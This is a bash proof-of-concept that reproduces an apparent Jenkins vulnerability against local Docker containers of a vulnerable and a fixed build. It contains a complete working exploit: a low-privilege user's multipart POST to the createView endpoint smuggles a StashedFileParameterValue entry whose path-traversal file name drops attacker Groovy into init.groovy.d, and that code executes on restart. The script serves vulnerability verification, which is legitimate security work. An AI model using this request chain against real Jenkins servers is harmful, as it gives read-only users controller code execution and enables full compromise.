#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF"
cd "$ROOT"

VULN_IMAGE="jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_IMAGE="jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
VULN_COMMIT="9095ea3a5c5e7dcd392695a5dd880af1c9910ddf"
FIXED_COMMIT="497de4961ad80d97e26bfdeb0d2e40442a84ecb0"
JENKINS_REPO="https://github.com/jenkinsci/jenkins"
FILE_PARAMETERS_URL="https://updates.jenkins.io/download/plugins/file-parameters/425.v3fa_801681b_5e/file-parameters.hpi"
FILE_PARAMETERS_SHA="ac31227c9ed455ffe631eeeeadd9f9ab19ec4d731b2904e7a15f6e836d3867df"
MATRIX_AUTH_URL="https://updates.jenkins.io/download/plugins/matrix-auth/3.2.8/matrix-auth.hpi"
MATRIX_AUTH_SHA="f188fce54671fb8c54cebb3f33fe11c08c7c144fe502d353f4b0915cd0fe561d"
IONICONS_URL="https://updates.jenkins.io/download/plugins/ionicons-api/88.va_4187cb_eddf1/ionicons-api.hpi"
IONICONS_SHA="2d6ea40a587572bd0dbf60050f0a6c0468e66f12b35f3ca65cdfce50440dfa6f"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
FALLBACK_CACHE="$ROOT/artifacts/jenkins-security-3915"
CACHE_BASE="$FALLBACK_CACHE"
RUN_TOKEN="${$}_$(date +%s)"
DIAG="$LOGS/reproduction_steps.log"
: > "$DIAG"
rm -rf "$PROOF"
mkdir -p "$PROOF"

# Read the prepared project cache at runtime as required. The reproducer only
# uses cache files after checking immutable SHA-256 values.
if [ -r "$CACHE_CONTEXT" ]; then
  PREPARED="$(jq -r '.prepared // false' "$CACHE_CONTEXT" 2>/dev/null || echo false)"
  CANDIDATE="$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT" 2>/dev/null || true)"
  if [ "$PREPARED" = true ] && [ -n "$CANDIDATE" ] && [ -d "$CANDIDATE" ]; then
    CACHE_BASE="$CANDIDATE"
  fi
fi
mkdir -p "$CACHE_BASE"

container_names=()
volume_names=()
cleanup() {
  local n
  for n in "${container_names[@]:-}"; do
    [ -n "$n" ] && docker rm -f "$n" >/dev/null 2>&1 || true
  done
  for n in "${volume_names[@]:-}"; do
    [ -n "$n" ] && docker volume rm "$n" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT

fail_manifest() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json,sys
obj={
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"POST /user/alice/my-views/createView via Jenkins Stapler structured form binding",
 "service_started":False,
 "healthcheck_passed":False,
 "target_path_reached":False,
 "runtime_stack":["Jenkins","Stapler","Jetty","Java 21","Docker"],
 "proof_artifacts":[],
 "artifact_sha256":{},
 "notes":sys.argv[2]
}
with open(sys.argv[1],"w") as f: json.dump(obj,f,indent=2); f.write("\n")
PY
}
fail_manifest "Reproduction attempt started but has not completed"

need() { command -v "$1" >/dev/null 2>&1 || { echo "Missing required command: $1" | tee -a "$DIAG"; exit 2; }; }
for c in docker curl jq python3 sha256sum timeout; do need "$c"; done
docker info >/dev/null 2>&1 || { echo "Docker daemon is unavailable" | tee -a "$DIAG"; exit 2; }

fetch_checked() {
  local url="$1" sha="$2" output="$3" tmp
  if [ -f "$output" ] && [ "$(sha256sum "$output" | awk '{print $1}')" = "$sha" ]; then
    echo "Using checksum-verified cache file $output" | tee -a "$DIAG"
    return
  fi
  mkdir -p "$(dirname "$output")"
  tmp="$output.tmp.$RUN_TOKEN"
  rm -f "$tmp"
  echo "Downloading pinned dependency $url" | tee -a "$DIAG"
  timeout 180 curl -fL --retry 3 --retry-delay 2 "$url" -o "$tmp"
  echo "$sha  $tmp" | sha256sum -c - >/dev/null
  mv "$tmp" "$output"
}

# Jenkins plugin manager resolves and pins all transitive dependencies for the
# two explicitly pinned plugins into the reusable cache. This is setup only;
# proof always comes from fresh controller processes below.
PLUGIN_DIR="$CACHE_BASE/security-3915-plugins"
mkdir -p "$PLUGIN_DIR"
fetch_checked "$FILE_PARAMETERS_URL" "$FILE_PARAMETERS_SHA" "$PLUGIN_DIR/file-parameters.jpi"
fetch_checked "$MATRIX_AUTH_URL" "$MATRIX_AUTH_SHA" "$PLUGIN_DIR/matrix-auth.jpi"
fetch_checked "$IONICONS_URL" "$IONICONS_SHA" "$PLUGIN_DIR/ionicons-api.jpi"

for image in "$VULN_IMAGE" "$FIXED_IMAGE"; do
  if ! docker image inspect "$image" >/dev/null 2>&1; then
    timeout 240 docker pull "$image" 2>&1 | tee -a "$DIAG"
  fi
done

# Resolve any missing dependencies without accepting mutable target images.
# jenkins-plugin-cli is bundled in the immutable 2.579 image.
PLUGIN_STAMP="$PLUGIN_DIR/.resolved-v1"
if [ ! -f "$PLUGIN_STAMP" ]; then
  docker run --rm --user root \
    -v "$PLUGIN_DIR:/plugins" \
    --entrypoint /bin/bash "$VULN_IMAGE" -c \
    'set -eu; rm -rf /tmp/plugins; mkdir /tmp/plugins; cp /plugins/*.jpi /tmp/plugins/; jenkins-plugin-cli --war /usr/share/jenkins/jenkins.war --plugin-download-directory /tmp/plugins --plugins file-parameters:425.v3fa_801681b_5e matrix-auth:3.2.8; cp /tmp/plugins/* /plugins/' \
    2>&1 | tee -a "$DIAG"
  touch "$PLUGIN_STAMP"
fi

# The expected primary plugin bytes may not be silently replaced by the resolver.
echo "$FILE_PARAMETERS_SHA  $PLUGIN_DIR/file-parameters.jpi" | sha256sum -c - >/dev/null
echo "$MATRIX_AUTH_SHA  $PLUGIN_DIR/matrix-auth.jpi" | sha256sum -c - >/dev/null

target_digest() {
  printf 'git:%s@%s' "$JENKINS_REPO" "$1" | sha256sum | awk '{print $1}'
}
VULN_TARGET_DIGEST="$(target_digest "$VULN_COMMIT")"
FIXED_TARGET_DIGEST="$(target_digest "$FIXED_COMMIT")"

seed_controller() {
  local role="$1" image="$2" volume="$3" seed="cve84647_seed_${role}_${RUN_TOKEN}"
  container_names+=("$seed")
  docker run --rm -v "$volume:/var/jenkins_home" --entrypoint /bin/sh "$image" -c \
    'mkdir -p /var/jenkins_home/plugins /var/jenkins_home/init.groovy.d'
  docker create --name "$seed" -v "$volume:/var/jenkins_home" "$image" >/dev/null
  local plugin
  for plugin in "$PLUGIN_DIR"/*.jpi "$PLUGIN_DIR"/*.hpi; do
    [ -f "$plugin" ] || continue
    docker cp "$plugin" "$seed:/var/jenkins_home/plugins/$(basename "$plugin")"
  done
  cat > "$PROOF/${role}.setup.groovy" <<'GROOVY'
import jenkins.model.Jenkins
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.GlobalMatrixAuthorizationStrategy

def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false)
try { realm.createAccount('alice', 'alice') } catch (Exception ignored) {}
j.setSecurityRealm(realm)
def strategy = new GlobalMatrixAuthorizationStrategy()
strategy.add(Jenkins.READ, 'alice')
j.setAuthorizationStrategy(strategy)
j.setInstallState(jenkins.install.InstallState.INITIAL_SETUP_COMPLETED)
j.save()
GROOVY
  docker cp "$PROOF/${role}.setup.groovy" "$seed:/var/jenkins_home/init.groovy.d/setup.groovy"
  docker rm "$seed" >/dev/null
}

wait_ready() {
  local port="$1" out="$2" i code="000"
  for i in $(seq 1 90); do
    code="$(curl -sS -o /dev/null -w '%{http_code}' -u alice:alice "http://127.0.0.1:$port/api/json" || true)"
    if [ "$code" = 200 ]; then
      printf 'READY http://127.0.0.1:%s/api/json HTTP %s\n' "$port" "$code" > "$out"
      return 0
    fi
    sleep 2
  done
  printf 'NOT_READY last_http=%s\n' "$code" > "$out"
  return 1
}

attempt() {
  local role="$1" attempt_no="$2" image="$3" commit="$4" expected="$5"
  local port name volume marker script_marker request_json cookies crumb field script_code response_code
  if [ "$role" = vulnerable ]; then port=$((19000 + attempt_no)); else port=$((19100 + attempt_no)); fi
  name="cve84647_${role}_${attempt_no}_${RUN_TOKEN}"
  volume="cve84647_${role}_${attempt_no}_${RUN_TOKEN}"
  marker="CVE_2026_84647_${role}_${attempt_no}_${RUN_TOKEN}"
  script_marker="/var/jenkins_home/CVE_2026_84647_${role}_${attempt_no}.txt"
  container_names+=("$name")
  volume_names+=("$volume")
  docker volume create "$volume" >/dev/null
  seed_controller "${role}_${attempt_no}" "$image" "$volume"
  docker run -d --name "$name" -p "127.0.0.1:$port:8080" -v "$volume:/var/jenkins_home" "$image" --httpPort=8080 >/dev/null
  wait_ready "$port" "$PROOF/${role}_${attempt_no}.health.txt"
  docker logs "$name" > "$PROOF/${role}_${attempt_no}.service.before.log" 2>&1

  # Establish exact product identity and low privilege: Overall/Read works,
  # while the administrator Script Console is forbidden.
  printf 'image=%s\ncommit=%s\n' "$image" "$commit" > "$PROOF/${role}_${attempt_no}.identity.txt"
  script_code="$(curl -sS -o "$PROOF/${role}_${attempt_no}.script-console.body" -w '%{http_code}' -u alice:alice "http://127.0.0.1:$port/script")"
  printf 'GET /script HTTP %s (expected 403 for alice with Overall/Read only)\n' "$script_code" > "$PROOF/${role}_${attempt_no}.privilege.txt"
  [ "$script_code" = 403 ] || { echo "$role attempt $attempt_no did not enforce low privilege" | tee -a "$DIAG"; return 1; }

  # The uploaded Groovy is attacker input. If the incompatible
  # StashedFileParameterValue constructor executes, its path traversal places
  # this script in JENKINS_HOME/init.groovy.d. A subsequent ordinary controller
  # restart executes the command and writes a unique target-local marker.
  cat > "$PROOF/${role}_${attempt_no}.payload.groovy" <<EOF
new File("$script_marker").text="$marker"
EOF
  request_json="{\"name\":\"view-${role}-${attempt_no}\",\"mode\":\"hudson.model.ListView\",\"columns\":{\"stapler-class-bag\":true,\"io-jenkins-plugins-file_parameters-StashedFileParameterValue\":{\"name\":\"../../init.groovy.d/cve84647.groovy\",\"file\":\"payload\"}},\"jobFilters\":[]}"
  python3 - "$PROOF/${role}_${attempt_no}.request.json" "$request_json" <<'PY'
import json,sys
with open(sys.argv[1],"w") as f:
 json.dump({"method":"POST","path":"/user/alice/my-views/createView","auth":"alice (Overall/Read only)","multipart_fields":{"name":"view","mode":"hudson.model.ListView","json":json.loads(sys.argv[2]),"payload":"attacker Groovy file part"}},f,indent=2); f.write("\n")
PY
  cookies="$PROOF/${role}_${attempt_no}.cookies.txt"
  crumb="$(curl -fsS -c "$cookies" -b "$cookies" -u alice:alice "http://127.0.0.1:$port/crumbIssuer/api/json")"
  field="$(printf '%s' "$crumb" | jq -r .crumbRequestField)"
  crumb="$(printf '%s' "$crumb" | jq -r .crumb)"
  response_code="$(curl -sS -D "$PROOF/${role}_${attempt_no}.response.headers" -o "$PROOF/${role}_${attempt_no}.response.body" -w '%{http_code}' \
    -c "$cookies" -b "$cookies" -u alice:alice -H "$field: $crumb" -X POST \
    "http://127.0.0.1:$port/user/alice/my-views/createView" \
    -F "name=view-${role}-${attempt_no}" -F mode=hudson.model.ListView \
    -F "json=$request_json" -F "payload=@$PROOF/${role}_${attempt_no}.payload.groovy;filename=payload.groovy")"
  printf 'POST /user/alice/my-views/createView HTTP %s\n' "$response_code" > "$PROOF/${role}_${attempt_no}.result.txt"
  docker exec "$name" sh -c 'test -f /var/jenkins_home/init.groovy.d/cve84647.groovy' >/dev/null 2>&1 && echo 'payload_script_present=true' >> "$PROOF/${role}_${attempt_no}.result.txt" || echo 'payload_script_present=false' >> "$PROOF/${role}_${attempt_no}.result.txt"

  docker restart "$name" >/dev/null
  wait_ready "$port" "$PROOF/${role}_${attempt_no}.health.after-restart.txt"
  if docker exec "$name" test -f "$script_marker" >/dev/null 2>&1; then
    docker exec "$name" cat "$script_marker" > "$PROOF/${role}_${attempt_no}.marker.txt"
    echo 'marker_present=true' >> "$PROOF/${role}_${attempt_no}.result.txt"
  else
    : > "$PROOF/${role}_${attempt_no}.marker.txt"
    echo 'marker_present=false' >> "$PROOF/${role}_${attempt_no}.result.txt"
  fi
  docker logs "$name" > "$PROOF/${role}_${attempt_no}.service.log" 2>&1

  if [ "$expected" = execute ]; then
    grep -Fx "$marker" "$PROOF/${role}_${attempt_no}.marker.txt" >/dev/null
    grep -F 'Executing /var/jenkins_home/init.groovy.d/cve84647.groovy' "$PROOF/${role}_${attempt_no}.service.log" >/dev/null
    echo "CONFIRMED vulnerable attempt $attempt_no: low-privilege request executed attacker Groovy after restart" | tee -a "$DIAG"
  else
    [ ! -s "$PROOF/${role}_${attempt_no}.marker.txt" ]
    grep -F 'payload_script_present=false' "$PROOF/${role}_${attempt_no}.result.txt" >/dev/null
    # Fixed Stapler may still create an otherwise empty ListView, but it must
    # reject/ignore the incompatible collection item before its constructor.
    echo "CONFIRMED fixed attempt $attempt_no: target path reached but incompatible class constructor did not run" | tee -a "$DIAG"
  fi

  # Remove cookies/crumbs; they are diagnostic transport state, not proof.
  rm -f "$cookies"
  docker rm -f "$name" >/dev/null
  docker volume rm "$volume" >/dev/null
}

attempt vulnerable 1 "$VULN_IMAGE" "$VULN_COMMIT" execute
attempt vulnerable 2 "$VULN_IMAGE" "$VULN_COMMIT" execute
attempt fixed 1 "$FIXED_IMAGE" "$FIXED_COMMIT" reject
attempt fixed 2 "$FIXED_IMAGE" "$FIXED_COMMIT" reject

# Remove setup scripts containing no secret but not needed for proof.
rm -f "$PROOF"/*.setup.groovy

# Write strict negative controls and process observations.
for i in 1 2; do
  python3 - "$PROOF/fixed_${i}.negative_control.json" "$i" "$FIXED_TARGET_DIGEST" <<'PY'
import json,sys
obj={"schema_version":1,"process_instance":"fixed-"+sys.argv[2],"target_identity_sha256":sys.argv[3],"target_path_reached":True,"marker_present":False,"effect":"incompatible stapler-class-bag entry ignored before constructor"}
with open(sys.argv[1],"w") as f: json.dump(obj,f,sort_keys=True); f.write("\n")
PY
done

# Bind only finalized immutable artifacts. Full service logs are no longer being
# written because all controllers were stopped and removed above.
mapfile -t artifacts < <(find "$PROOF" -maxdepth 1 -type f ! -name '*.payload.groovy' ! -name '*.body' -printf '%P\n' | sort | sed 's#^#repro/proof/#')
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_TARGET_DIGEST" "$VULN_COMMIT" "$VULN_IMAGE" "${artifacts[@]}" <<'PY'
import hashlib,json,os,platform,sys
manifest_path,target_digest,commit,image,*artifacts=sys.argv[1:]
root=os.environ['PRUVA_ROOT']
sha={}
for rel in artifacts:
 p=os.path.join(root,rel)
 with open(p,'rb') as f: sha[rel]=hashlib.sha256(f.read()).hexdigest()
obj={
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"Authenticated multipart POST /user/alice/my-views/createView exercising Stapler RequestImpl collection form binding",
 "service_started":True,
 "healthcheck_passed":True,
 "target_path_reached":True,
 "runtime_stack":["Jenkins 2.579 and 2.580","Stapler","Jetty 12","Java 21","Docker"],
 "target_identity":{
   "repository_url":"https://github.com/jenkinsci/jenkins",
   "commit_sha":commit,
   "target_digest":target_digest,
   "runtime_digest":image.split('@sha256:',1)[1],
   "platform":"linux",
   "architecture":platform.machine()
 },
 "proof_artifacts":artifacts,
 "artifact_sha256":sha,
 "notes":"Two vulnerable controller processes executed unique attacker Groovy markers after restart; two fixed controller processes reached the same endpoint but did not instantiate the incompatible class. Alice had only Overall/Read and received HTTP 403 at /script."
}
with open(manifest_path,'w') as f: json.dump(obj,f,indent=2); f.write('\n')
PY

# Check that every hash in the emitted runtime manifest matches before success.
python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import hashlib,json,os,sys
with open(sys.argv[1]) as f: m=json.load(f)
assert m['service_started'] and m['healthcheck_passed'] and m['target_path_reached']
for rel,digest in m['artifact_sha256'].items():
 with open(os.path.join(os.environ['PRUVA_ROOT'],rel),'rb') as f: assert hashlib.sha256(f.read()).hexdigest()==digest
print('Runtime manifest and all proof hashes verified')
PY

echo "CVE-2026-84647 CONFIRMED: two low-privilege production HTTP attempts achieved controller code execution; two fixed controls failed closed." | tee -a "$DIAG"
exit 0
